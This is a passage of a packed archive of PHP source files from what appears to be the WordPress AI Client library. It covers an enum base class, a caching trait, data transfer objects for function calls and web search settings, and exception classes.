     * Gets the JSON schema representation of the object.
     *
     * @since 0.1.0
     *
     * @return array<string, mixed> The JSON schema as an associative array.
     */
    public static function getJsonSchema(): array;
}
src/Common/Contracts/AiClientExceptionInterface.php000064400000000527152205304550016431 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;

use Throwable;
/**
 * Base interface for all AI Client exceptions.
 *
 * This interface allows callers to catch all AI Client specific exceptions
 * with a single catch statement.
 *
 * @since 0.2.0
 */
interface AiClientExceptionInterface extends Throwable
{
}
src/Common/AbstractEnum.php000064400000026160152205304550011672 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common;

use BadMethodCallException;
use JsonSerializable;
use ReflectionClass;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
/**
 * Abstract base class for enum-like behavior in PHP 7.4.
 *
 * This class provides enum-like functionality for PHP versions that don't support native enums.
 * Child classes should define uppercase snake_case constants for enum values.
 *
 * @example
 * class PersonEnum extends AbstractEnum {
 *     public const FIRST_NAME = 'first';
 *     public const LAST_NAME = 'last';
 * }
 *
 * // Usage:
 * $enum = PersonEnum::from('first'); // Creates instance with value 'first'
 * $enum = PersonEnum::tryFrom('invalid'); // Returns null
 * $enum = PersonEnum::firstName(); // Creates instance with value 'first'
 * $enum->name; // 'FIRST_NAME'
 * $enum->value; // 'first'
 * $enum->equals('first'); // Returns true
 * $enum->is(PersonEnum::firstName()); // Returns true
 * PersonEnum::cases(); // Returns array of all enum instances
 *
 * @property-read string $value The value of the enum instance.
 * @property-read string $name The name of the enum constant.
 *
 * @since 0.1.0
 */
abstract class AbstractEnum implements JsonSerializable
{
    /**
     * @var string The value of the enum instance.
     */
    private string $value;
    /**
     * @var string The name of the enum constant.
     */
    private string $name;
    /**
     * @var array<string, array<string, string>> Cache for reflection data.
     */
    private static array $cache = [];
    /**
     * @var array<string, array<string, self>> Cache for enum instances.
     */
    private static array $instances = [];
    /**
     * Constructor is private to ensure instances are created through static methods.
     *
     * @since 0.1.0
     *
     * @param string $value The enum value.
     * @param string $name The constant name.
     */
    final private function __construct(string $value, string $name)
    {
        $this->value = $value;
        $this->name = $name;
    }
    /**
     * Provides read-only access to properties.
     *
     * @since 0.1.0
     *
     * @param string $property The property name.
     * @return mixed The property value.
     * @throws BadMethodCallException If property doesn't exist.
     */
    final public function __get(string $property)
    {
        if ($property === 'value' || $property === 'name') {
            return $this->{$property};
        }
        throw new BadMethodCallException(sprintf('Property %s::%s does not exist', static::class, $property));
    }
    /**
     * Prevents property modification.
     *
     * @since 0.1.0
     *
     * @param string $property The property name.
     * @param mixed $value The value to set.
     * @throws BadMethodCallException Always, as enum properties are read-only.
     */
    final public function __set(string $property, $value): void
    {
        throw new BadMethodCallException(sprintf('Cannot modify property %s::%s - enum properties are read-only', static::class, $property));
    }
    /**
     * Creates an enum instance from a value, throws exception if invalid.
     *
     * @since 0.1.0
     *
     * @param string $value The enum value.
     * @return static The enum instance.
     * @throws InvalidArgumentException If the value is not valid.
     */
    final public static function from(string $value): self
    {
        $instance = self::tryFrom($value);
        if ($instance === null) {
            throw new InvalidArgumentException(sprintf('%s is not a valid backing value for enum %s', $value, static::class));
        }
        return $instance;
    }
    /**
     * Tries to create an enum instance from a value, returns null if invalid.
     *
     * @since 0.1.0
     *
     * @param string $value The enum value.
     * @return static|null The enum instance or null.
     */
    final public static function tryFrom(string $value): ?self
    {
        $constants = static::getConstants();
        foreach ($constants as $name => $constantValue) {
            if ($constantValue === $value) {
                return self::getInstance($constantValue, $name);
            }
        }
        return null;
    }
    /**
     * Gets all enum cases.
     *
     * @since 0.1.0
     *
     * @return static[] Array of all enum instances.
     */
    final public static function cases(): array
    {
        $cases = [];
        $constants = static::getConstants();
        foreach ($constants as $name => $value) {
            $cases[] = self::getInstance($value, $name);
        }
        return $cases;
    }
    /**
     * Checks if this enum has the same value as the given value.
     *
     * @since 0.1.0
     *
     * @param string|self $other The value or enum to compare.
     * @return bool True if values are equal.
     */
    final public function equals($other): bool
    {
        if ($other instanceof self) {
            return $this->is($other);
        }
        return $this->value === $other;
    }
    /**
     * Checks if this enum is the same instance type and value as another enum.
     *
     * @since 0.1.0
     *
     * @param self $other The other enum to compare.
     * @return bool True if enums are identical.
     */
    final public function is(self $other): bool
    {
        return $this === $other;
        // Since we're using singletons, we can use identity comparison
    }
    /**
     * Gets all valid values for this enum.
     *
     * @since 0.1.0
     *
     * @return string[] List of all enum values.
     */
    final public static function getValues(): array
    {
        return array_values(static::getConstants());
    }
    /**
     * Checks if a value is valid for this enum.
     *
     * @since 0.1.0
     *
     * @param string $value The value to check.
     * @return bool True if value is valid.
     */
    final public static function isValidValue(string $value): bool
    {
        return in_array($value, self::getValues(), \true);
    }
    /**
     * Gets or creates a singleton instance for the given value and name.
     *
     * @since 0.1.0
     *
     * @param string $value The enum value.
     * @param string $name The constant name.
     * @return static The enum instance.
     */
    private static function getInstance(string $value, string $name): self
    {
        $className = static::class;
        if (!isset(self::$instances[$className])) {
            self::$instances[$className] = [];
        }
        if (!isset(self::$instances[$className][$name])) {
            $instance = new $className($value, $name);
            self::$instances[$className][$name] = $instance;
        }
        /** @var static */
        return self::$instances[$className][$name];
    }
    /**
     * Gets all constants for this enum class.
     *
     * @since 0.1.0
     *
     * @return array<string, string> Map of constant names to values.
     * @throws RuntimeException If invalid constant found.
     */
    final protected static function getConstants(): array
    {
        $className = static::class;
        if (!isset(self::$cache[$className])) {
            self::$cache[$className] = static::determineClassEnumerations($className);
        }
        return self::$cache[$className];
    }
    /**
     * Determines the class enumerations by reflecting on class constants.
     *
     * This method can be overridden by subclasses to customize how
     * enumerations are determined (e.g., to add dynamic constants).
     *
     * @since 0.1.0
     *
     * @param class-string $className The fully qualified class name.
     * @return array<string, string> Map of constant names to values.
     * @throws RuntimeException If invalid constant found.
     */
    protected static function determineClassEnumerations(string $className): array
    {
        $reflection = new ReflectionClass($className);
        $constants = $reflection->getConstants();
        // Validate all constants
        $enumConstants = [];
        foreach ($constants as $name => $value) {
            // Check if constant name follows uppercase snake_case pattern
            if (!preg_match('/^[A-Z][A-Z0-9_]*$/', $name)) {
                throw new RuntimeException(sprintf('Invalid enum constant name "%s" in %s. Constants must be UPPER_SNAKE_CASE.', $name, $className));
            }
            // Check if value is valid type
            if (!is_string($value)) {
                throw new RuntimeException(sprintf('Invalid enum value type for constant %s::%s. ' . 'Only string values are allowed, %s given.', $className, $name, gettype($value)));
            }
            $enumConstants[$name] = $value;
        }
        return $enumConstants;
    }
    /**
     * Handles dynamic method calls for enum checking.
     *
     * @since 0.1.0
     *
     * @param string $name The method name.
     * @param array<mixed> $arguments The method arguments.
     * @return bool True if the enum value matches.
     * @throws BadMethodCallException If the method doesn't exist.
     */
    final public function __call(string $name, array $arguments): bool
    {
        // Handle is* methods
        if (str_starts_with($name, 'is')) {
            $constantName = self::camelCaseToConstant(substr($name, 2));
            $constants = static::getConstants();
            if (isset($constants[$constantName])) {
                return $this->value === $constants[$constantName];
            }
        }
        throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name));
    }
    /**
     * Handles static method calls for enum creation.
     *
     * @since 0.1.0
     *
     * @param string $name The method name.
     * @param array<mixed> $arguments The method arguments.
     * @return static The enum instance.
     * @throws BadMethodCallException If the method doesn't exist.
     */
    final public static function __callStatic(string $name, array $arguments): self
    {
        $constantName = self::camelCaseToConstant($name);
        $constants = static::getConstants();
        if (isset($constants[$constantName])) {
            return self::getInstance($constants[$constantName], $constantName);
        }
        throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name));
    }
    /**
     * Converts camelCase to CONSTANT_CASE.
     *
     * @since 0.1.0
     *
     * @param string $camelCase The camelCase string.
     * @return string The CONSTANT_CASE version.
     */
    private static function camelCaseToConstant(string $camelCase): string
    {
        $snakeCase = preg_replace('/([a-z])([A-Z])/', '$1_$2', $camelCase);
        if ($snakeCase === null) {
            return strtoupper($camelCase);
        }
        return strtoupper($snakeCase);
    }
    /**
     * Returns string representation of the enum.
     *
     * @since 0.1.0
     *
     * @return string The enum value.
     */
    final public function __toString(): string
    {
        return $this->value;
    }
    /**
     * Converts the enum to a JSON-serializable format.
     *
     * @since 0.1.0
     *
     * @return string The enum value.
     */
    #[\ReturnTypeWillChange]
    public function jsonSerialize()
    {
        return $this->value;
    }
}
src/Common/Traits/WithDataCachingTrait.php000064400000011762152205304550014540 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Traits;

use WordPress\AiClient\AiClient;
/**
 * Trait for objects that cache data using PSR-16 cache with in-memory fallback.
 *
 * When a PSR-16 cache is configured via AiClient::setCache(), data is stored persistently.
 * Otherwise, data is cached in-memory for the duration of the request.
 *
 * @since 0.4.0
 */
trait WithDataCachingTrait
{
    /**
     * In-memory cache used when no PSR-16 cache is configured.
     *
     * @since 0.4.0
     *
     * @var array<string, mixed>
     */
    private array $localCache = [];
    /**
     * Gets the cache key suffixes managed by this object.
     *
     * @since 0.4.0
     *
     * @return list<string> The cache key suffixes.
     */
    abstract protected function getCachedKeys(): array;
    /**
     * Gets the base cache key for this object.
     *
     * The base cache key is used as a prefix for all cache keys managed by this object.
     * It should be unique to the implementing class to avoid cache key collisions.
     *
     * @since 0.4.0
     *
     * @return string The base cache key.
     */
    abstract protected function getBaseCacheKey(): string;
    /**
     * Checks if a value exists in the cache.
     *
     * @since 0.4.0
     *
     * @param string $key The cache key suffix (will be appended to the base key).
     * @return bool True if the value exists in cache, false otherwise.
     */
    protected function hasCache(string $key): bool
    {
        $fullKey = $this->buildCacheKey($key);
        $cache = AiClient::getCache();
        if ($cache !== null) {
            return $cache->has($fullKey);
        }
        return array_key_exists($fullKey, $this->localCache);
    }
    /**
     * Gets a value from the cache, or computes and caches it if not present.
     *
     * @since 0.4.0
     *
     * @param string                 $key      The cache key suffix (will be appended to the base key).
     * @param callable               $callback The callback to compute the value if not cached.
     * @param int|\DateInterval|null $ttl      The TTL for the cache entry, or null for default.
     *                                         Ignored for local cache.
     * @return mixed The cached or computed value.
     */
    protected function cached(string $key, callable $callback, $ttl = null)
    {
        if ($this->hasCache($key)) {
            return $this->getCache($key);
        }
        $value = $callback();
        $this->setCache($key, $value, $ttl);
        return $value;
    }
    /**
     * Gets a value from the cache.
     *
     * @since 0.4.0
     *
     * @param string $key     The cache key suffix (will be appended to the base key).
     * @param mixed  $default The default value to return if the key does not exist.
     * @return mixed The cached value or the default value if not found.
     */
    protected function getCache(string $key, $default = null)
    {
        $fullKey = $this->buildCacheKey($key);
        $cache = AiClient::getCache();
        if ($cache !== null) {
            return $cache->get($fullKey, $default);
        }
        return $this->localCache[$fullKey] ?? $default;
    }
    /**
     * Sets a value in the cache.
     *
     * @since 0.4.0
     *
     * @param string                $key   The cache key suffix (will be appended to the base key).
     * @param mixed                 $value The value to cache.
     * @param int|\DateInterval|null $ttl   The TTL for the cache entry, or null for default. Ignored for local cache.
     * @return bool True on success, false on failure.
     */
    protected function setCache(string $key, $value, $ttl = null): bool
    {
        $fullKey = $this->buildCacheKey($key);
        $cache = AiClient::getCache();
        if ($cache !== null) {
            return $cache->set($fullKey, $value, $ttl);
        }
        $this->localCache[$fullKey] = $value;
        return \true;
    }
    /**
     * Invalidates all caches managed by this object.
     *
     * @since 0.4.0
     *
     * @return void
     */
    public function invalidateCaches(): void
    {
        foreach ($this->getCachedKeys() as $key) {
            $this->clearCache($key);
        }
    }
    /**
     * Clears a value from the cache.
     *
     * @since 0.4.0
     *
     * @param string $key The cache key suffix (will be appended to the base key).
     * @return bool True on success, false on failure.
     */
    protected function clearCache(string $key): bool
    {
        $fullKey = $this->buildCacheKey($key);
        $cache = AiClient::getCache();
        if ($cache !== null) {
            return $cache->delete($fullKey);
        }
        unset($this->localCache[$fullKey]);
        return \true;
    }
    /**
     * Builds the full cache key by combining the base key with the suffix.
     *
     * @since 0.4.0
     *
     * @param string $key The cache key suffix.
     * @return string The full cache key.
     */
    private function buildCacheKey(string $key): string
    {
        return $this->getBaseCacheKey() . '_' . $key;
    }
}
src/Common/AbstractDataTransferObject.php000064400000011175152205304550014473 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common;

use JsonSerializable;
use stdClass;
use WordPress\AiClient\Common\Contracts\WithArrayTransformationInterface;
use WordPress\AiClient\Common\Contracts\WithJsonSchemaInterface;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
 * Abstract base class for all Data Value Objects in the AI Client.
 *
 * This abstract class consolidates the common functionality needed by all
 * data transfer objects:
 * - Array transformation for data manipulation
 * - JSON schema support for validation and documentation
 * - JSON serialization with proper empty object handling
 *
 * All DTOs in the AI Client should extend this class to ensure
 * consistent behavior across the codebase.
 *
 * @since 0.1.0
 *
 * @template TArrayShape of array<string, mixed>
 * @implements WithArrayTransformationInterface<TArrayShape>
 */
abstract class AbstractDataTransferObject implements WithArrayTransformationInterface, WithJsonSchemaInterface, JsonSerializable
{
    /**
     * Validates that required keys exist in the array data.
     *
     * @since 0.1.0
     *
     * @param array<mixed> $data The array data to validate.
     * @param string[] $requiredKeys The keys that must be present.
     * @throws InvalidArgumentException If any required key is missing.
     */
    protected static function validateFromArrayData(array $data, array $requiredKeys): void
    {
        $missingKeys = [];
        foreach ($requiredKeys as $key) {
            if (!array_key_exists($key, $data)) {
                $missingKeys[] = $key;
            }
        }
        if (!empty($missingKeys)) {
            throw new InvalidArgumentException(sprintf('%s::fromArray() missing required keys: %s', static::class, implode(', ', $missingKeys)));
        }
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function isArrayShape(array $array): bool
    {
        try {
            /** @var TArrayShape $array */
            static::fromArray($array);
            return \true;
        } catch (InvalidArgumentException $e) {
            return \false;
        }
    }
    /**
     * Converts the object to a JSON-serializable format.
     *
     * This method uses the toArray() method and then processes the result
     * based on the JSON schema to ensure proper object representation for
     * empty arrays.
     *
     * @since 0.1.0
     *
     * @return mixed The JSON-serializable representation.
     */
    #[\ReturnTypeWillChange]
    public function jsonSerialize()
    {
        $data = $this->toArray();
        $schema = static::getJsonSchema();
        return $this->convertEmptyArraysToObjects($data, $schema);
    }
    /**
     * Recursively converts empty arrays to stdClass objects where the schema expects objects.
     *
     * @since 0.1.0
     *
     * @param mixed $data The data to process.
     * @param array<mixed, mixed> $schema The JSON schema for the data.
     * @return mixed The processed data.
     */
    private function convertEmptyArraysToObjects($data, array $schema)
    {
        // If data is an empty array and schema expects object, convert to stdClass
        if (is_array($data) && empty($data) && isset($schema['type']) && $schema['type'] === 'object') {
            return new stdClass();
        }
        // If data is an array with content, recursively process nested structures
        if (is_array($data)) {
            // Handle object properties
            if (isset($schema['properties']) && is_array($schema['properties'])) {
                foreach ($data as $key => $value) {
                    if (isset($schema['properties'][$key]) && is_array($schema['properties'][$key])) {
                        $data[$key] = $this->convertEmptyArraysToObjects($value, $schema['properties'][$key]);
                    }
                }
            }
            // Handle array items
            if (isset($schema['items']) && is_array($schema['items'])) {
                foreach ($data as $index => $item) {
                    $data[$index] = $this->convertEmptyArraysToObjects($item, $schema['items']);
                }
            }
            // Handle oneOf/anyOf schemas - just use the first one
            foreach (['oneOf', 'anyOf'] as $keyword) {
                if (isset($schema[$keyword]) && is_array($schema[$keyword])) {
                    foreach ($schema[$keyword] as $possibleSchema) {
                        if (is_array($possibleSchema)) {
                            return $this->convertEmptyArraysToObjects($data, $possibleSchema);
                        }
                    }
                }
            }
        }
        return $data;
    }
}
src/Common/Exception/TokenLimitReachedException.php000064400000002616152205304550016452 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Exception;

/**
 * Exception thrown when a token limit is reached during prompt fulfillment.
 *
 * Providers should throw this exception when the token usage for a request
 * exceeds the allowed limit, whether that is the model's context window
 * or a configured maximum.
 *
 * @since 1.0.0
 */
class TokenLimitReachedException extends \WordPress\AiClient\Common\Exception\RuntimeException
{
    /**
     * The token limit that was reached, if known.
     *
     * @since 1.0.0
     *
     * @var int|null
     */
    private $maxTokens;
    /**
     * Creates a new TokenLimitReachedException.
     *
     * @since 1.0.0
     *
     * @param string         $message   The exception message.
     * @param int|null       $maxTokens The token limit that was reached, if known.
     * @param \Throwable|null $previous  The previous throwable used for exception chaining.
     */
    public function __construct(string $message = '', ?int $maxTokens = null, ?\Throwable $previous = null)
    {
        parent::__construct($message, 0, $previous);
        $this->maxTokens = $maxTokens;
    }
    /**
     * Returns the token limit that was reached, if known.
     *
     * @since 1.0.0
     *
     * @return int|null The token limit, or null if not provided.
     */
    public function getMaxTokens(): ?int
    {
        return $this->maxTokens;
    }
}
src/Common/Exception/InvalidArgumentException.php000064400000000747152205304550016213 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Exception;

use WordPress\AiClient\Common\Contracts\AiClientExceptionInterface;
/**
 * Exception thrown when an invalid argument is provided.
 *
 * This extends PHP's built-in InvalidArgumentException while implementing
 * the AI Client exception interface for consistent catch handling.
 *
 * @since 0.2.0
 */
class InvalidArgumentException extends \InvalidArgumentException implements AiClientExceptionInterface
{
}
src/Common/Exception/RuntimeException.php000064400000000675152205304550014545 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Exception;

use WordPress\AiClient\Common\Contracts\AiClientExceptionInterface;
/**
 * Exception thrown for runtime errors.
 *
 * This extends PHP's built-in RuntimeException while implementing
 * the AI Client exception interface for consistent catch handling.
 *
 * @since 0.2.0
 */
class RuntimeException extends \RuntimeException implements AiClientExceptionInterface
{
}
src/Tools/DTO/FunctionDeclaration.php000064400000007005152205304550013530 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
/**
 * Represents a function declaration for AI models.
 *
 * This DTO describes a function that can be called by the AI model,
 * including its name, description, and parameter schema.
 *
 * @since 0.1.0
 *
 * @phpstan-type FunctionDeclarationArrayShape array{
 *     name: string,
 *     description: string,
 *     parameters?: array<string, mixed>
 * }
 *
 * @extends AbstractDataTransferObject<FunctionDeclarationArrayShape>
 */
class FunctionDeclaration extends AbstractDataTransferObject
{
    public const KEY_NAME = 'name';
    public const KEY_DESCRIPTION = 'description';
    public const KEY_PARAMETERS = 'parameters';
    /**
     * @var string The name of the function.
     */
    private string $name;
    /**
     * @var string A description of what the function does.
     */
    private string $description;
    /**
     * @var array<string, mixed>|null The JSON schema for the function parameters.
     */
    private ?array $parameters;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string $name The name of the function.
     * @param string $description A description of what the function does.
     * @param array<string, mixed>|null $parameters The JSON schema for the function parameters.
     */
    public function __construct(string $name, string $description, ?array $parameters = null)
    {
        $this->name = $name;
        $this->description = $description;
        $this->parameters = $parameters;
    }
    /**
     * Gets the function name.
     *
     * @since 0.1.0
     *
     * @return string The function name.
     */
    public function getName(): string
    {
        return $this->name;
    }
    /**
     * Gets the function description.
     *
     * @since 0.1.0
     *
     * @return string The function description.
     */
    public function getDescription(): string
    {
        return $this->description;
    }
    /**
     * Gets the function parameters schema.
     *
     * @since 0.1.0
     *
     * @return array<string, mixed>|null The parameters schema.
     */
    public function getParameters(): ?array
    {
        return $this->parameters;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'A description of what the function does.'], self::KEY_PARAMETERS => ['type' => 'object', 'description' => 'The JSON schema for the function parameters.', 'additionalProperties' => \true]], 'required' => [self::KEY_NAME, self::KEY_DESCRIPTION]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return FunctionDeclarationArrayShape
     */
    public function toArray(): array
    {
        $data = [self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description];
        if ($this->parameters !== null) {
            $data[self::KEY_PARAMETERS] = $this->parameters;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_DESCRIPTION]);
        return new self($array[self::KEY_NAME], $array[self::KEY_DESCRIPTION], $array[self::KEY_PARAMETERS] ?? null);
    }
}
src/Tools/DTO/FunctionResponse.php000064400000007313152205304550013103 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
 * Represents a response to a function call.
 *
 * This DTO encapsulates the result of executing a function that was
 * requested by the AI model through a FunctionCall.
 *
 * @since 0.1.0
 *
 * @phpstan-type FunctionResponseArrayShape array{id?: string, name?: string, response: mixed}
 *
 * @extends AbstractDataTransferObject<FunctionResponseArrayShape>
 */
class FunctionResponse extends AbstractDataTransferObject
{
    public const KEY_ID = 'id';
    public const KEY_NAME = 'name';
    public const KEY_RESPONSE = 'response';
    /**
     * @var string|null The ID of the function call this is responding to.
     */
    private ?string $id;
    /**
     * @var string|null The name of the function that was called.
     */
    private ?string $name;
    /**
     * @var mixed The response data from the function.
     */
    private $response;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string|null $id The ID of the function call this is responding to.
     * @param string|null $name The name of the function that was called.
     * @param mixed $response The response data from the function.
     * @throws InvalidArgumentException If neither id nor name is provided.
     */
    public function __construct(?string $id, ?string $name, $response)
    {
        if ($id === null && $name === null) {
            throw new InvalidArgumentException('At least one of id or name must be provided.');
        }
        $this->id = $id;
        $this->name = $name;
        $this->response = $response;
    }
    /**
     * Gets the function call ID.
     *
     * @since 0.1.0
     *
     * @return string|null The function call ID.
     */
    public function getId(): ?string
    {
        return $this->id;
    }
    /**
     * Gets the function name.
     *
     * @since 0.1.0
     *
     * @return string|null The function name.
     */
    public function getName(): ?string
    {
        return $this->name;
    }
    /**
     * Gets the function response.
     *
     * @since 0.1.0
     *
     * @return mixed The response data.
     */
    public function getResponse()
    {
        return $this->response;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The ID of the function call this is responding to.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function that was called.'], self::KEY_RESPONSE => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The response data from the function.']], 'anyOf' => [['required' => [self::KEY_RESPONSE, self::KEY_ID]], ['required' => [self::KEY_RESPONSE, self::KEY_NAME]]]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return FunctionResponseArrayShape
     */
    public function toArray(): array
    {
        $data = [];
        if ($this->id !== null) {
            $data[self::KEY_ID] = $this->id;
        }
        if ($this->name !== null) {
            $data[self::KEY_NAME] = $this->name;
        }
        $data[self::KEY_RESPONSE] = $this->response;
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_RESPONSE]);
        return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_RESPONSE]);
    }
}
src/Tools/DTO/FunctionCall.php000064400000007133152205304550012160 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
 * Represents a function call request from an AI model.
 *
 * This DTO encapsulates information about a function that the AI model
 * wants to invoke, including the function name and its arguments.
 *
 * @since 0.1.0
 *
 * @phpstan-type FunctionCallArrayShape array{id?: string, name?: string, args?: mixed}
 *
 * @extends AbstractDataTransferObject<FunctionCallArrayShape>
 */
class FunctionCall extends AbstractDataTransferObject
{
    public const KEY_ID = 'id';
    public const KEY_NAME = 'name';
    public const KEY_ARGS = 'args';
    /**
     * @var string|null Unique identifier for this function call.
     */
    private ?string $id;
    /**
     * @var string|null The name of the function to call.
     */
    private ?string $name;
    /**
     * @var mixed The arguments to pass to the function.
     */
    private $args;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string|null $id Unique identifier for this function call.
     * @param string|null $name The name of the function to call.
     * @param mixed $args The arguments to pass to the function.
     * @throws InvalidArgumentException If neither id nor name is provided.
     */
    public function __construct(?string $id = null, ?string $name = null, $args = null)
    {
        if ($id === null && $name === null) {
            throw new InvalidArgumentException('At least one of id or name must be provided.');
        }
        $this->id = $id;
        $this->name = $name;
        $this->args = $args;
    }
    /**
     * Gets the function call ID.
     *
     * @since 0.1.0
     *
     * @return string|null The function call ID.
     */
    public function getId(): ?string
    {
        return $this->id;
    }
    /**
     * Gets the function name.
     *
     * @since 0.1.0
     *
     * @return string|null The function name.
     */
    public function getName(): ?string
    {
        return $this->name;
    }
    /**
     * Gets the function arguments.
     *
     * @since 0.1.0
     *
     * @return mixed The function arguments.
     */
    public function getArgs()
    {
        return $this->args;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this function call.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function to call.'], self::KEY_ARGS => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The arguments to pass to the function.']], 'anyOf' => [['required' => [self::KEY_ID]], ['required' => [self::KEY_NAME]]]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return FunctionCallArrayShape
     */
    public function toArray(): array
    {
        $data = [];
        if ($this->id !== null) {
            $data[self::KEY_ID] = $this->id;
        }
        if ($this->name !== null) {
            $data[self::KEY_NAME] = $this->name;
        }
        if ($this->args !== null) {
            $data[self::KEY_ARGS] = $this->args;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_ARGS] ?? null);
    }
}
src/Tools/DTO/WebSearch.php000064400000005502152205304550011440 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
/**
 * Represents web search configuration for AI models.
 *
 * This DTO defines constraints for web searches that AI models can perform,
 * including allowed and disallowed domains.
 *
 * @since 0.1.0
 *
 * @phpstan-type WebSearchArrayShape array{allowedDomains?: string[], disallowedDomains?: string[]}
 *
 * @extends AbstractDataTransferObject<WebSearchArrayShape>
 */
class WebSearch extends AbstractDataTransferObject
{
    public const KEY_ALLOWED_DOMAINS = 'allowedDomains';
    public const KEY_DISALLOWED_DOMAINS = 'disallowedDomains';
    /**
     * @var string[] List of domains that are allowed for web search.
     */
    private array $allowedDomains;
    /**
     * @var string[] List of domains that are disallowed for web search.
     */
    private array $disallowedDomains;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string[] $allowedDomains List of domains that are allowed for web search.
     * @param string[] $disallowedDomains List of domains that are disallowed for web search.
     */
    public function __construct(array $allowedDomains = [], array $disallowedDomains = [])
    {
        $this->allowedDomains = $allowedDomains;
        $this->disallowedDomains = $disallowedDomains;
    }
    /**
     * Gets the allowed domains.
     *
     * @since 0.1.0
     *
     * @return string[] The allowed domains.
     */
    public function getAllowedDomains(): array
    {
        return $this->allowedDomains;
    }
    /**
     * Gets the disallowed domains.
     *
     * @since 0.1.0
     *
     * @return string[] The disallowed domains.
     */
    public function getDisallowedDomains(): array
    {
        return $this->disallowedDomains;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_ALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are allowed for web search.'], self::KEY_DISALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are disallowed for web search.']], 'required' => []];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return WebSearchArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_ALLOWED_DOMAINS => $this->allowedDomains, self::KEY_DISALLOWED_DOMAINS => $this->disallowedDomains];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        return new self($array[self::KEY_ALLOWED_DOMAINS] ?? [], $array[self::KEY_DISALLOWED_DOMAINS] ?? []);
    }
}
src/Results/Enums/FinishReasonEnum.php000064400000002616152205304550014017 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Results\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for finish reasons of AI generation.
 *
 * @since 0.1.0
 *
 * @method static self stop() Creates an instance for STOP reason.
 * @method static self length() Creates an instance for LENGTH reason.
 * @method static self contentFilter() Creates an instance for CONTENT_FILTER reason.
 * @method static self toolCalls() Creates an instance for TOOL_CALLS reason.
 * @method static self error() Creates an instance for ERROR reason.
 * @method bool isStop() Checks if the reason is STOP.
 * @method bool isLength() Checks if the reason is LENGTH.
 * @method bool isContentFilter() Checks if the reason is CONTENT_FILTER.
 * @method bool isToolCalls() Checks if the reason is TOOL_CALLS.
 * @method bool isError() Checks if the reason is ERROR.
 */
class FinishReasonEnum extends AbstractEnum
{
    /**
     * Generation stopped naturally.
     */
    public const STOP = 'stop';
    /**
     * Generation stopped due to max length.
     */
    public const LENGTH = 'length';
    /**
     * Generation stopped due to content filter.
     */
    public const CONTENT_FILTER = 'content_filter';
    /**
